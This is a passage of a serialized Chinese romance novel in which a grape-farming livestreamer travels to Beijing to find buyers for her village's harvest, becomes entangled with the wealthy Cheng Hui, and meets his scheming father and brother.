贺兰念家的葡萄大多是赤霞珠,这种葡萄晚熟,附近其他品种的葡萄园里已经有不少采摘的人。
周砚指了指那些采摘的人,好奇问道:“他们都是附近村民吗?”
“有些是,有些不是。”贺兰念道,“每年这个时候,会有很多外地人过来摘葡萄。”
周砚又指着不远处一大片空地问道:“那些地呢?怎么没人种?”在周砚的认知里,土地应该是寸土寸金的。
贺兰念停下脚步,看了眼那些空地,说:“本来有人种的。”
周砚疑道:“那怎么又空了?多种地不就收入更多吗?”
贺兰念嘴角划过一抹苦涩,“不,会赔钱。”
周砚不理解,“......为什么?”
贺兰念原本不想解释,见周砚想知道,便道:“普通葡萄一亩大约产五六百斤,如果能卖五块钱一公斤,能勉强维持生计,但这两年只能卖到两三块一公斤,赚不到钱,电费管理费肥料人工,很多成本都在增加。”
“之前葡萄酒厂多的时候还能卖给酒厂,但经济不好,酒厂要不压缩规模要不破产倒闭,都不再收农户的葡萄。”
她说得轻淡,却无端让人觉得沉重,“很多葡萄卖不出去只能扔掉,地渐渐没人种,就撂荒了。”
贺兰念站在田埂间,目光落在远处大片大片的空地上。
“十几年前这里其实都是戈壁,风沙很大,环境挺恶劣的。后来来了一波人,开始植株造林开荒种地,发现这里环境气候适合种葡萄,慢慢就都种起了葡萄。”
“前几年,你们能看到的地方都是葡萄园。”贺兰念手指了一个方向,“那里是三号井,原本是八百亩,只是现在只剩下七十二亩了。”
巨大的数量差距让听着的周砚都不禁皱了皱眉,她看了眼贺兰念静立的身影。
那道身影明明很单薄,却有种无声的力量,像是什么都压不跨。
“小念——”
一个村民见到贺兰念,从葡萄园跑来找她。
贺兰念停下脚步,“张叔。有事吗?”
被太阳晒得黝黑的老人不好意思看贺兰念,嗫嚅说道:“听你李叔说你找到了买家。你看,眼看着葡萄都下来了,你那个买家什么时候过来把葡萄收走?你也知道葡萄放不住就坏了,”他叹了口气,喃喃,“现在也没人来收了。”
贺兰念哑然。
他们说的买家是杨总。
大概看出贺兰念的为难,张叔主动转移了话题,看着周砚道:“这是你朋友?哪里来的?中午一块去家里吃饭吧。”
贺兰念解释说是同学,聊了两句,老人又匆匆回葡萄园继续摘葡萄。
“所以,你才拼命直播卖葡萄?”周砚看着贺兰念,“你家葡萄没熟,是在帮他们卖。”
贺兰念淡声道:“没有什么帮不帮,大家都是一起的。”
有片刻,周砚没明白这句话,后来才意识到,贺兰念是在说他们这些葡萄种植户的命运是绑在一起的,一陨俱陨。
“你也看到了,我们现在确实急需要把葡萄卖出去。”贺兰念回头看周砚,“所以我很珍惜这次机会,也很感激你。”
她眼睛里有微薄的希冀,像琉璃般易碎,晶莹,让人心动。
对上贺兰念的眼睛,周砚怔了下,他走到贺兰念身边,说:“我也希望能帮到你。”
参观完葡萄园,录了像,贺兰念还没走出葡萄园,张叔便又来喊人,贺兰念拒绝
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不了,问周砚要不要一起去。
周砚闻言神色有些不自然,婉言拒绝了。
城里人吃不惯农村的饭也很正常,贺兰念没说什么,送了周砚一程去了张叔家。
饭桌上,张叔犹犹豫豫开口,“小念,你知道有企业来收购的事吧?”
贺兰念的心一紧,“......知道。”
张叔为难道:“我知道你不想我们把地卖出去,但是再这样下去,我们恐怕是坚持不下去了。”
贺兰念蹙眉,“可是张叔,您种了这么多年——”
张叔长叹一声打断贺兰念,“是啊,种了这么多年。——想当年,我跟你爸你李叔他们刚来这里的时候,满是戈壁沙子啊,我们打井浇地种树,一点一点把荒地变成了现在的葡萄园......”
“我也舍不得卖。实在是没办法了,耗不住哇。”他布满皱纹的脸上不掩沧桑,“现在卖了,还能落点钱。趁着身子还干得动,出去外面找个零活,总得留个养老钱。”
至此,贺兰念再也说不出一句话。
张叔走之前,贺兰念拦住他。
“张叔,过段时间再卖吧。”
事情没有做成之前,贺兰念极少给承诺,她害怕希望落空后的失望,但眼下她说:“我在联系其他买家,可能过几天就有人来收购了。”
实在不行,她就找苏馥。
贺兰念有点不敢相信苏馥,她暂时把希望寄托在周砚家。
*
又过两天,贺兰念收到周砚的消息,说他爸对葡萄挺满意的,希望贺兰念能来北京一趟,见面谈一下具体事宜。
贺兰念稍微松了一口气。
手机震动,周砚又发来一条消息。
周砚:【我已经回北京了,你什么时候过来,到时候我去接你。】
葡萄不等人,贺兰念当即查了一下航班,她计算了一下时间和费用,订了晚上九点多最便宜的航班。虽然凌晨才能到,但也不耽误明天见面。
时间太晚,贺兰念不想麻烦周砚,没跟他说航班时间,只跟他约了明天早上十点的见面。
一旁惜儿听到贺兰念要去北京,一脸希冀问:“念念,我可以去吗?”
贺兰念有点犹豫,一来,她没有时间带惜儿玩。二来,她不放心把惜儿一个人留在酒店。
“我很快就会回来,你这两天跟李爷爷和李奶奶住好不好?”贺兰念蹲下来捏了捏惜儿的小脸,“等下次有时间,我再专门带你过去玩。”
揪了揪贺兰念的衣角,惜儿不死心道:“那惜儿不打扰念念,我去找程哥哥和李哥哥玩,可以吗?”
“......”贺兰念摇头,“哥哥们也很忙,你会打扰他们的。”
惜儿终于泄气的抱住贺兰念的脖子,“好吧~”
贺兰念愧疚的把她搂紧了些。
趁贺兰念收拾行李的间隙,惜儿走到屋外,她没有程回的电话,但她有李折的电话!
翻到李折号码,惜儿用儿童手表打了过去。
电话接通,李折有些讶异的声音响起,“惜儿?你给我打电话?发生什么事了?”
惜儿把事情跟李折讲述了一遍,最后问:“李哥哥,你在忙吗?我可以去找你玩吗?”
李折羞赧。
忙?如果每天混迹夜店算忙的话,那他确实挺忙的。
维持自己形象,李折正经道:“哥哥最近刚好不忙,你什么时候过来,我去接你。”
贺兰念收拾了两套换洗的衣服,一转身,见惜儿抱着《阿吉娜》童书盘腿坐在行李箱里,一脸开心。
“念念,李哥哥说他不忙,他让我去找他玩~~”
贺兰念:“......”
17. Chapter 17
当晚,贺兰念把农场钥匙给羊明煦,带着惜儿去了机场。
办完值机,贺兰念接到祝飞的消息,说是沙漠越野赛的视频剪好发平台了,跟她说一声。
那天的视频贺兰念当晚剪好就发了,便说知道了,并未在意。
登机的时候有粉丝认出贺兰念,对方忽然激动道:“念念!你果然认识那个帅哥对吧!!”
贺兰念:“?”
见贺兰念没明白,女粉丝急了,她从手机上翻出一个视频,怼到贺兰念眼前,激动道:“你自己看!”
是祝飞用旅游局账号刚发的内容。
视频里,无人机在上面飞,她坐在副驾,旁边正是程回!
而且不止这一个镜头,他们一起救人的画面,她的运动相机无意扫到程回侧脸的画面......
“铮”地一声,贺兰念脑海的弦炸开。
她自己视频里是把程回剪干净了的!那天拍完后把原视频给祝飞,她想当然以为祝飞知道程回不想出镜,就没特别说。
贺兰念立马拿出手机准备联系祝飞,让他把程回剪了重发。
这时,一名空姐走到女粉丝身边,让她回到自己座位,并说飞机要起飞了,让她关闭手机或者调成飞行模式。
贺兰念的手机还没来得及打开:“......”
贺兰念拿不准程回的态度,音乐节那天他只是在她视频里露了半张脸,他就让人全网删视频。
但上次有人发她跟他的合影,程回又没有任何反应......
凌晨,飞机落地首都机场,贺兰念把程回的号码发给祝飞,让祝飞去联系程回,她决定不干涉这件事。
惜儿已经熬不住睡着了,睡前迷迷糊糊跟贺兰念说李折会来接他们。
贺兰念一只手拉着行李箱,一只手抱着惜儿,跟着人流往机场外走。
刚走到出站口,有人喊她的名字。
竟然是来接机的粉丝!七八个女孩子。
贺兰念没有暴露过自己的行踪,应该是粉丝看见她登机发到了网上。
“念念!!终于见到你了!天呀你好漂亮啊!”
“念念是过来玩吗?”
“这是惜儿吧,哇~好可爱~~”
......
贺兰念一一笑着回应,她不太受得住这么大的热情和付出,只能一再让她们回去的时候注意安全。
有人问:“念念谈恋爱了吗?”“视频里的帅哥是你男朋友吗?”
“......不是。”贺兰念认真澄清,“他,只是个帮忙的好心路人司机。”
话落,突然有人尖叫。
“我草草,前面那个帅哥,是不是就是视频里的那个?!!”
“是是是是啊!!!”
贺兰念抬眼望去。
程回倚着一辆黑色低奢轿车,正轻拧着眉低头看手机,乌黑眉发和冷白肌肤在夜色中碰撞,沉默又张扬......
不知是不是到了京城,贺兰念觉得他身上的贵气又重了。
好像还有别的什么东西......更阴暗了些。
似有所感,程回抬眼,目光落在人群中的贺兰念身上。
很快,他视线上移,落在贺兰念受伤的额头,狰狞的伤口已经结痂,看起来好了很多。
粉丝发出戏谑的嘘声:“念念,这就是你说的好心路人司机吗?”
有人压低声音贴脸开大:“念念~好心路人司机又来接你咯~”
贺兰念:“.........”
自己没有联系程回,那就只剩下一种可能。
贺兰念看向昏睡的惜儿。
惜儿被吵闹声吵醒,她抬起脑袋,眼睛强挣开一条缝,看见程回,撑起精神喊了声:“哥哥~”
惜儿从贺兰念身上滑下来跑过去,一把抱住程回的腿,困成腿部挂件。
程回把她抱起来,打开车门,把她放进后座躺着。
安顿好惜儿,程回走到贺兰念身边,自然接过她的行李箱放到后备箱,抬了抬下巴示意贺兰念上车后,自己一脚跨进了驾驶室。
他全程动作自然流畅,一句话没有说。
惜儿都躺在车里睡着了,贺兰念也不好再矫情拒绝,跟粉丝挥手告别,坐进副驾。
车内,谁都没有说话,狭小的空间无限把五感放大,贺兰念又闻到那股凌冽的香水味。
“不是李折来接吗?”虽然也不想麻烦李折,但是此时此刻,贺兰念宁愿李折来接。
“他没空。”
“......哦。”
又是让人浑身不自在的安静。
“我订了酒店,那就麻烦你把我们送到酒店门口啦。”贺兰念说。
好几秒,程回没有任何反应。
就在贺兰念觉得谈话又要无疾而终的时候,程回开口了:“贺兰念,我是你司机?”
贺兰念立马道:“不是啊。那你可以在最近的地铁口停一下吗?”
程回:“......”
不知是不是贺兰念的错觉,她好像听到程回轻笑了声,稍纵即逝。
“可以吗?”贺兰念问,她真的很想下车。
“不可以。”
“为什么?”贺兰念真诚问。
程回扯了下嘴角,“因为我会不高兴。”
“......那您现在高兴吗?”
程回没再说话。
贺兰念扭脸看向窗外,玻璃上映出程回的侧脸,明暗交错的路灯轮回出现在他脸上。
华灯和夜色在他身上交相辉映,他嘴角好似带着一抹笑意,有点魅惑。
但非常危险!
车最终停在一家五星酒店大厅门口,程回下车,随手把车钥匙扔给门童。
贺兰念下车的时候,程回已经把睡着的惜儿抱下车。
“......”贺兰念这会儿子真有点被“挟天子以令诸侯”的感受了。
没办法,贺兰念走到前台,看到价格后忍着肉痛准备订房间,却被程回勾着胳膊拉走。
贺兰念:“......”
贺兰念有点生气,她挣开被程回抓着的胳膊,“陈回,我没有订这家酒店,现下消费这家酒店也在我承受之外,我希望你——”
程回摁完电梯抬头看她,贺兰念突然卡住。
“希望我什么?”程回表情很淡。
跟程回接触这几次,贺兰念能感受到他表情越寡淡越是不高兴。
他这样聪明,大概是猜出她接下来不会是好话吧。
贺兰念在心里叹了一口气,还是说出:“希望你,不要过多干涉我的生活。”
程回薄唇慢慢抿成一条线,他垂下眼,不再看她。
贺兰念:“......”
电梯平稳上升,在最顶层停下。
程回抱着惜儿,率先跨出电梯。
等贺兰念站在那间占据一整层楼的酒店房间门口犹豫要不要进去,程回已经放下惜儿,折身出来。
“我明天回来。”经过贺兰念身边时程回这样说。
也没说明天什么时候。
电梯“叮”的一声,再次关上。
她把程回赶出了他自己的家......这是这一刻贺兰念脑海唯一的想法。
短短几分钟,贺兰念仿佛经历了一场漫长的酷刑。
她知道程回是好心,可是这好心她承受不住,现在又不得不受到良心的谴责。
可是,她为什么也觉得委屈呢......
贺兰念拨了程回的电话。
电话接通,没人说话。
房门正对着房间内一整面落地窗,巨大的落地窗外,是斑驳陆离的城市夜景。
贺兰念站在灯光些许昏暗的走廊,压下胸腔的酸胀,嘴唇翕动。
“你回来住吧......如果是这样的话,我也要回预定的酒店了。”
深夜寂静的走廊,电梯的“叮”声都那么响。
贺兰念低垂的视线里,一人走到她对面,双腿修长。
贺兰念抬了下头,她没看程回的脸,垂着眼皮道:“我去睡了。”
只是她刚转身,胳膊骤然被拉住,很紧,贺兰念挣不脱。
“为什么总是拒绝我?”寂静的夜里,程回声音里压抑着什么情绪。
“不为什么,我不喜欢欠别人人情。”贺兰念依旧没回头,“这是正常人的正常反应。不管是对于你还是对于我,我们都只能算是萍水相逢的陌生人,我没办法心安理得住——”
“我不管!”
程回突然极其激动,他猛地拉住贺兰念,几个急促的旋步,将她压在墙上。
程回眼睛似蒙了一层冰冷的黑色雾气,直勾勾盯着贺兰念,从牙缝里挤出:“陌生人?”
“如果你是陌生人,那我总是想你算什么?”程回捏着贺兰念的下巴不让她躲,他眼中汹涌的情愫四处乱撞,慢慢凑近贺兰念,低声说,“贺兰念,我很想你......我是怎么了?”
“......”
有一瞬间,贺兰念漆黑的眼眸里闪过一抹痛苦,她猛地低下头。
她心中五味杂陈,千回百转,被不知名的情潮逼红了眼睛,没能说
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出一句话。
“我可以抱抱你吗?”
“......不——”
“不抱就亲!”程回极具侵略性的目光落在贺兰念唇上,几乎按耐不住,蠢蠢欲动。
触到程回目光的刹那,贺兰念知道,程回说得出...也做得到。
贺兰念是真的......不敢拒绝。
程回的双臂环上她腰身时,贺兰念僵了下。
随即,程回的手臂越收越紧,贺兰念整个身子几乎嵌进他怀里。
“对不起......”
贺兰念听到程回低声的道歉。
贺兰念不明白程回此刻的道歉是何意,是歉意他不顾她的意愿把她带来这里,还是歉意他强迫的拥抱。
想起她妈妈,想起阿吉娜,贺兰念张了张口,想说什么,又终归没说出口。
*
第二天清晨,贺兰念六点半的生物钟准时把她喊醒。
外面天空正是澄清,贺兰念站在落地窗前活动了一下身子,洗漱好后她拿出电脑,梳理为今天见面准备的资料。
八点的时候,贺兰念走出房间,找到厨房,做了她和惜儿的早餐......也给程回做了份。
八点半,程回和惜儿都没醒,给惜儿的电话手表留了录音,贺兰念离开酒店。
接近九点半,惜儿先醒了。
她很早便习惯醒来时床上只有自己,现下并没有慌张,兀自坐在大床上懵了会,熟练拿到床头的电话手表听贺兰念的留言。
当听到这里是程回的房子,并且程回可能还没醒后,惜儿兴奋的一屁股蹦下床。
在空间巨大的客厅跑了一圈,惜儿终于看到另外一道紧闭的房门,她很快跑过去附耳听里面的动静。
“为什么程哥哥还没有醒?”惜儿失望呢喃。
她正犹豫要不要敲门把人喊醒,门突然被人从里面拉开。
程回穿着休闲,低头看了惜儿一眼:“......”
“程哥哥你醒了!”惜儿高兴的抱了他一下,随即拉着他的手往餐厅走,边走边说,“念念刚刚说,让我们吃早饭。”
程回下意识想甩开惜儿的手,听到贺兰念做了他的早饭,出神间已经被惜儿拉到餐椅坐下。
餐桌上有温好的牛奶,小米粥,包子,煎鸡蛋,还有一份蔬果沙拉。
一看就是够两个人吃的。
程回坐在餐椅上,目光一一从简单的餐食间掠过,神色怔松。
惜儿爬上高脚凳,把餐具和餐盘推到程回面前一份。
窗外晨曦透过一整面落地窗,把一大一小的身影罩住,笼上一层金色的光芒。
惜儿吃着煎鸡蛋,眼珠子滴溜溜四处看,问:“程哥哥,这里是你的家吗?你的家好大呀~”
“......不是。”程回答,“这里是酒店。”
“程哥哥为什么住在酒店?”想到贺兰念来这里的目的,惜儿道,“程哥哥也是来这里出差的吗?那程哥哥的家在哪里呀?”
温热的米粥顺着喉咙暖进胃里,程回又接连喝了好几口。
“程哥哥?”没有得到回应的惜儿喊他。
程回头也不抬:“小孩吃饭不准说话。”
“......哼!才不是。”惜儿不赞同说,“念念就一直说话。”
程回:“......我说小孩不能说话。”
没有生气,惜儿突然笑起来,“程哥哥你好双标~”
“......”程回没理她,夹了个煎鸡蛋吃。
这时,门铃响了。
惜儿“扑腾”一下从椅子上跳下去,跑过去开门。
程回看了眼手机上的信息,知道门外是李折,便任由惜儿过去开门。
惜儿高兴的给李折一个熊抱,进门的李折看见桌子上的早餐,道:“刚好,我还没吃早饭。”
他就要去洗手吃早饭,听到程回懒洋洋说:“没你的份,想吃自己去餐厅。”
李折看着余量很丰富的早餐,喊道:“还剩那么多,你们又吃不完,让我吃点怎么了?”
程回看向惜儿,问:“吃好了吗?”
惜儿点点头。
在李折的注视下,程回把剩下的早餐一一收进了冰箱。
这操作直接看得李折目瞪口呆,程大爷什么时候吃剩饭了?
“一会儿我有事出去,今天你带她。”程回从厨房出来,看了眼惜儿,对李折说。
李折倒是没什么抱怨,他伸手抱起惜儿转了个圈,“说吧,想去哪玩?李哥哥都能带你去!”
“好耶~~~”
18. Chapter 18
低奢的黑色轿车在车水马龙的城市街道疾驰,一路向郊区而去,最终停在一家私人疗养院门口。
疗养院灰色的大门紧闭,红色的砖头看起来有些年头,已经残破,高高的围墙上带着电网,完全跟外面的世界隔绝。
门卫打开门后,一名女护士出来,领着程回往里走。
一路走过,穿着疗养服的病人无不驻足看向程回,他们双眼或浑浊或懵懂,肢体姿态不似正常人。
正值日落,橘色的阳光洒下来,本该温暖又温馨,可这座围墙内却只有死气沉沉,连排的房屋上统一刷着一圈森绿色的油漆,院中则光秃秃的,植物很少。
女护士把程回领到一个女人面前。
“别刺激她,今天好不容易没有闹事。”女护士说完,扭身走开了。
女人四十多岁的样子,素面朝天,皮肤白皙,五官优越,眉目间跟程回有三四分相似。
她正在用晚饭刚发的馒头喂蚂蚁——细心的把馒头揉碎了,掰成一粒一粒,小心喂着他们,偶尔自己吃一口。
与程回幽沉凌厉的眼睛不一样,她眉眼柔和,看起来喂蚂蚁这件事让她很开心,她笑得无忧无虑,像个孩子。
有好几分钟,她都没有发现站在一旁的程回。
程回想起小时候。
那时候他和妈妈还没有被程英纵找到,有次从超市回家的路上突然下雨,一群蚂蚁没来得及回到窝里,她看到,一边用自己衣服给蚂蚁遮雨,一边催他回家拿伞。
程回看得无语,皱着脸跟她说,蚂蚁不会被淹死的。她便又是撒娇又是讨好,硬要程回回家拿伞。
程回拿回伞,她拉着程回蹲在那群蚂蚁旁,跟他说,其实她知道蚂蚁淹不死,但是她想看它们回家,她希望它们都能回到家。
她说,如果被雨水冲太远,它们就找不到家了。
她说,她喜欢回家这个词,所以给他取名“回”。
即便后来他被程英纵找到,改成程回,她依旧高兴的是,他的名字反过来,回程的意义。
从记忆抽回,程回弯腰,蹲到女人身边。
他伸出一根手指,让一只蚂蚁爬上来,把它送到蚂蚁窝口。
女人终于注意到他。
她抬头,疑惑的看着程回。
慢慢的,她眼睛里出现恐慌,痛苦......
馒头从她手里掉落在地,她捂住头,像是想起什么痛苦的记忆,她开始不断捶打头,伴随着尖利的喊叫。
她突然间变得愤怒至极,猩红着眼看向程回,眼神里迸裂出极致的恨意。
她挥手打程回,力气极大,又抓又挠,如若不是工作人员每日修剪她的指甲,程回的脸脖子手臂都要被抓破。
程回眼睛黑沉一片,一动不动,任由她发泄。
医护人员闻声赶来,发起疯来的人力气极大,两三个人才勉强把她控制住。
临走前,医护人员诡异的看了程回一眼,不知道他是怎么忍受下来的。
“坏人!坏人!!他是坏人!!!”
“打死他!我要打死他!!”
她被拉去禁闭室,一路歇斯底里尖叫,几乎对程回恨入骨髓。
许久,程回摸出一根烟点上。
他蹲在地上,头垂的很低,一直一直看着,那些拿到食物后回家的蚂蚁。
最后的残阳一点一点在他身上划过,光线越来越冷暗,直到仅剩的余晖彻底消失,他看起来单薄的背影,陷入黑暗。
除了程回开来的那辆车,疗养院门口又停了一辆车。
一个穿着西装的男人看到程回出来,走过去对着程回弯了下腰,道:“程总想见您一面。”
程回一点都不意外程英纵这么快就知道了他的行踪,他想到疗养院里发疯的母亲,脸色越来越阴沉。
“让他来找我!”
看懂程回眼中的怒气,男人没再说什么。
“我会传达您的意思。”
男人再次朝程回点了点头,上车离开。
身边的王客看着离开的车屁股,担忧道:“程总看来已经知道您找到夫人了。”
人都找上门了,怎么可能不知道。
程回当然看得出来,今日男人过来,就是程英纵的警告。
警告他,他还是逃不出他的掌控。
见程回往车边走,王客赶紧跟上,继续道:“他会把夫人转移走吗?”
“我不会让他做到的。”程回拉开车门,问,“我让你找的地方找到了吗?”
王客立马道:“嗯嗯找到了,很私密,那边差不多安排好了,看您的意思,这两天就可以把夫人送过去。”
程回“嗯”了声,上车离开。
此时那辆离开的轿车内,男人接到程英纵的电话。
“程总。”男人说,“我已经见到程回少爷了。”
程英纵“嗯”了一声,“说了什么?”
“他让您去找他。”
程英纵手指敲击着桌面,安静的办公室发出“咚咚”声。
“要不要给她换个地方?”魏梁问。
“不不。”程英纵眼中闪过精亮的光,“现在还不是时候。”
“贺兰念已经去周家公司了吗?”程英纵问。
魏梁点头,“这个点,人应该已经到了,不过今天周国兴不在公司,她见不到他。”
程英纵有一双狠厉又精明的眼睛,眼珠不动声色的一转,就能让人不寒而栗,除去他的身份,单看这双眼睛,他也是不敢让人轻易得罪的人。
那双眼睛太阴狠,仿佛随时冒出无数阴谋诡计把与他作对的人啃得渣都不剩。
“不能让她见到周国兴。”程英纵直直盯着魏梁说。
魏梁看着程英纵的眼睛一怔,背不自觉挺直,“是。她不会见到周国兴。”
想起什么,魏梁犹疑开口:“昨天贺兰念下飞机,是程回去接的。”
程英纵陷入沉默。
“你不会是怀疑他对贺兰念动了真感情吧?”
程英纵对自己有绝对的自信,也坚信他对程回幼年做的那些“训练”,几乎斩断了程回人类正常的情感和依恋。
魏梁犹豫了下,还是道:“不排除这种可能。”
“你知道恒河猴实验吗?给小猴子一个有奶瓶的铁丝妈妈和一个没有奶瓶的布料妈妈,小猴子却宁愿跟布料妈妈在一起。”程英纵轻蔑笑了声,“这个实验证明了爱存在三个变量:触摸、互动和玩耍,这就是灵长类动物全部的情感需求。”
“这是愚蠢的人才需要的情感需求,我用很多方法教程回去选择有奶瓶的铁丝妈妈。”程英纵眼睛阴沉下来,“他不需要那些无聊的感情。他一直都做得很好。”
最后,程英纵自信道:“爱情这种东西,对程回来说,不仅虚假,且毫无用处,他不会选择的。”
就像他自己。
*
贺兰念在周家办公楼的休息室等了一个多小时也没能见到周砚的爸爸周兴国。
她正想再去问问情况,周砚推门进来,他一脸歉意,脸上有匆忙赶路的痕迹。
“对不起对不起!我爸昨天晚上临时出差去了另外一个城市,因为太晚我还没来得及告诉你。”周砚歉意问,“你等很久了吧?”
贺兰念摇了摇头,“没有。”
贺兰念不想再等两天,便道:“我去那座城市找你爸爸方便吗?”
“这个——”周砚面露为难,他刚毕业没来公司上过班,他爸又不喜欢私人感情影响公司决策,所以在这上面,他并无太大话语权。
这时,门锁被转动,有人喊道:“喂周砚!你跑什么!看见你哥也不打声招呼!”
一个看起来二十七八岁的年轻男人推门进来。
贺兰念望过去,来人的脸跟周砚有五分相似,相比于周砚的清俊,他身上痞气更重一点。
来人一眼看
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见贺兰念,眼睛都直了,“哟,公司什么时候来了这么个大美女?我怎么不知道?”
“哥。”周砚拉住周墨,“这是我同学贺兰念,从西北过来,找爸爸谈合作的。”
周砚看向贺兰念,“贺兰念,这是我——”
周墨压下周砚的手,“我自己来。”
他整理了一下衣领,站直身子向贺兰念伸出右手,“你好,周墨。”
贺兰念伸手虚握了一下,“你好。贺兰念。”
周墨挑了一下眉,“来谈合作的?什么合作?我看看能不能帮你。”
并无隐瞒,贺兰念坦然道:“卖葡萄。”
周墨思索着长长“哦——”了一声,他猛得一拍手,恍然大悟般道:“你就是贺兰念啊!老头走之前交代让我好好接待的就是你呀!”
贺兰念:“......”
周墨脸上随即出现为难的神色,“但我一会儿还有两个会。这样吧,你带资料了吧,你先把资料给我。下午我约了人打高尔夫,到时候你再过来我们聊一下。你住在哪?我派人过去接你。”
“不用了,您把地址给我,我可以自己过去。”贺兰念道。
周墨并未强求,“也行,那留个联系方式?到时候有什么问题随时联系我。”
贺兰念留下电话号码后告别,周砚提出送她,被贺兰念道谢后拒绝了。
午饭后,贺兰念回到酒店,惜儿被李折带走了,程回也没在,偌大的房间显得空荡荡的。
即便厨房放了些做饭的食材,但房间依旧没什么人气。
贺兰念不明白程回为什么不回家住。
贺兰念掏出手机给程回发了条消息。
【我回自己的酒店了。】
顿了下,又发了条。
【跟你说一声。】
她还是没办法接受跟几乎陌生的男人住在一间酒店,即便这间酒店有三四百平。
而且,对于现在的贺兰念来说,陌生人的善意,暗地里都有附加条件的。
虽然这样想同样会让她痛苦,她很不愿意这样想......但是,就是这样。
过了很久,程回都没有回贺兰念消息。
贺兰念收拾了她和惜儿的东西,去了她之前订好的酒店。
下午四点多的时候,周墨打来电话说了高尔夫球场的位置,让她过去。
贺兰念到的时候,周墨出来接的她。
见贺兰念穿着一身休闲装,周墨一脸风流,对着前台姐姐抛了个媚眼,“给她拿套衣服。”
他手臂支着前台桌面,往前探了探身,低声补充了一句,“短裙款哦~”
“不用了,我——”
周墨回头打断贺兰念,“规矩。不能拒绝~”
贺兰念:“......”
周墨领着穿着短裙的贺兰念到球场的时候,立马引来几声口哨声。
遮阳帽下,贺兰念眉头紧锁。
不远处的一个遮阳伞下,一个少年模样的人放下手中的手机,抬头看过去。
阳光下,贺兰念裸露在外的双腿白皙细长,线条美得不像话。
紧身的高尔夫专业套装把她的身材勾勒的凹凸有致,一头黑长直发扎成马尾,眉目间仿佛蕴着远山雾黛,淡漠疏离。
即便是美女遍地的京城,贺兰念的美貌也是独一份。
而比她秾丽的美貌更吸引人的,是她那一身仿佛不属于人间疏远的气质,有种让人疯狂的魔力。
少年饶有兴致的盯着贺兰念的脸看了好一会儿,想到什么,他拿起手机,对着贺兰念拍了段视频。
看着视频里被男人环绕的美人,少年眼角慢慢浮现一丝与他柔美漂亮的脸不协调的扭曲笑意,嘴里低喃,“贺兰念......真是,久闻大名了!”
“可是,我好像被我亲爱的哥哥拉黑了,我该怎么把这段视频发给他呢?”
少年俊美的脸出现为难的神色。
19. Chapter 19
贺兰念感觉到一道视线,回头撞上一个少年的眼睛。
少年长得很漂亮,偏柔美的漂亮,见贺兰念看过来,他嘴角挂上甜甜的笑,看起来尤显得单纯,人畜无害。
既然已经对视,贺兰念便对着少年点了一下头,收回视线。
贺兰念不会打高尔夫,正百无聊赖,身后传来一道男声。
“你好呀。”
贺兰念回头,正是刚才的少年。
坐着的时候不明显,站着的少年身材似青竹般修长,皮肤很白,骨架匀称,人很瘦。
“你好。”贺兰念回。
“我叫程净。”程净对贺兰念笑了笑,阳光下,他偏浅的瞳色如打上金色碎光的琉璃,“美人姐姐,你叫什么名字?”
贺兰念被一句“美人姐姐”喊懵了下,“......贺兰念。”
“真是你啊!”程净惊讶道,“我是你的粉丝,你本人比视频里还要漂亮!我都没有认出来。”
“......谢谢。”
程净又道:“看你的样子不是过来玩的,是找周墨谈事情吗?”
贺兰念点头。她看了眼一直跟朋友打球聊天的周墨,不知是不是贺兰念的错觉,她觉得周墨似是在逃避跟她谈卖葡萄这件事。
眨了眨眼,程净冲周墨喊道:“喂,周墨!先别打你的破球了,没看见人家美人姐姐在等你?”
见周墨丢下球杆走过来,程净扭头对贺兰念微微一笑,“他过来了。”
“......谢谢你。”贺兰念震惊程净的敏锐和聪明,一眼看出她的困境。
“我过去打会儿,贺兰姐姐有什么麻烦事都可以找我哦~”程净离开前对贺兰念说,“我可是你的忠实粉丝~”
“......”贺兰念点了点头,再次道谢。
虽然程净很热情,但贺兰念总觉得他身上有种违和的气质,她说不上来那种感觉。
贺兰念看着程净与周墨迎面遇上,周墨皱着眉对程净说了句什么,看起来有点不高兴。而程净一直笑眯眯的,从容的把周墨安抚好。
程净朝贺兰念摆了摆手,弯唇一笑。
走过来的周墨脸色带上认真,直接道:“资料我已经看过了。你们农场有多少葡萄?”
贺兰念说了个数字。
“行,过两天我派人过去实地考察一下。还有就是价格,我得请示一下我爸,这个到时候再谈。”最后周墨问,“你还有别的问题没?”
贺兰念道:“我希望时间上尽量抓紧,葡萄再过几天就熟透了,采摘时间很重要,不然会影响口感。”
“......”周墨神色古怪看了贺兰念一眼,“行。”
默了几秒,周墨嘴角一扯,流露出风流的本质,“那这件事先这样。晚上我约了几个朋友,你跟我过去,我介绍你们认识。”
“......抱歉周总,晚上我得带孩子——”
周墨打断她,“这几个朋友家里都有红酒生意,也有跟国外酒庄合作的,我可是专门为你约的他们,你确定不过去?”
贺兰念瞬间哑言。
见贺兰念应下来,周墨神情越发愉悦,招呼贺兰念跟朋友打球去了。
晚上,贺兰念被带去一个高级私人会所,周墨刷了虹膜识别进入包厢。
包厢内部空间很大,里面聚集了不少人,像是在开一个小型party。
周墨轻车熟路跟一圈人打了招呼后放松的坐趟在沙发上,他拍了拍身边的位置让贺兰念坐。贺兰念摆手拒绝,挑了个角落的位置坐下。
周墨看着贺兰念高挑淡漠的背影,嘴角扯出一抹玩味的笑。
贺兰念坐下大半个小时,周墨一直没再提介绍红酒商的事。
看着周围狂欢的年轻男女,贺兰念愈发觉得自己格格不入,她犹豫要不要找周墨谈谈,不行就离开。
惜儿还在李折那里,贺兰念实在不好意思太麻烦李折,而且她也有点想惜儿了。
刚准备起身,贺兰念猛地被人搂住胳膊,随着那人动作不羁的一屁股坐在沙发上,贺兰念被惯性拉着又坐了下去。
贺兰念转头,程净歪着头,笑嘻嘻看着她。
“姐姐,好久不见~有没有那么一秒想起我啊?”
“......”贺兰念不太习惯跟陌生人有肢体接触,不动声色移出手臂。
大概看出贺兰念的尴尬,程净神色自然转移了话题,“姐姐先别着急走,再等等吧,待会有节目看哦~”
程净神秘一笑,“现在走了可就看不到精彩的节目了~”
还没等贺兰念察觉这句话有什么不对,整个包厢慢慢安静下来,像是水波从中心往外扩散,经过之处人们无不安静立足。
包厢内昏蓝的灯光扫过程净的脸,映出他闪烁着兴奋光芒的眼睛,像是等待表演开始的疯狂观众,和终于等来猎物的猎人。
贺兰念扭头往门口看。
看见程回的那一刻,贺兰念大脑空白了一瞬。
从昨晚那个最终被她挣开的拥抱,到今晚,此时此刻,明明只有一天时间没见程回,贺兰念竟有种恍如隔世的感觉。
“好久不见啊。”
谁在说话?贺兰念从怔愣中回神,看见程回已经站在她面前,而那句“好久不见”正是从她身边发出的。
贺兰念还没扭头,又听见程净用甜甜的嗓音喊了一声,“哥哥。”
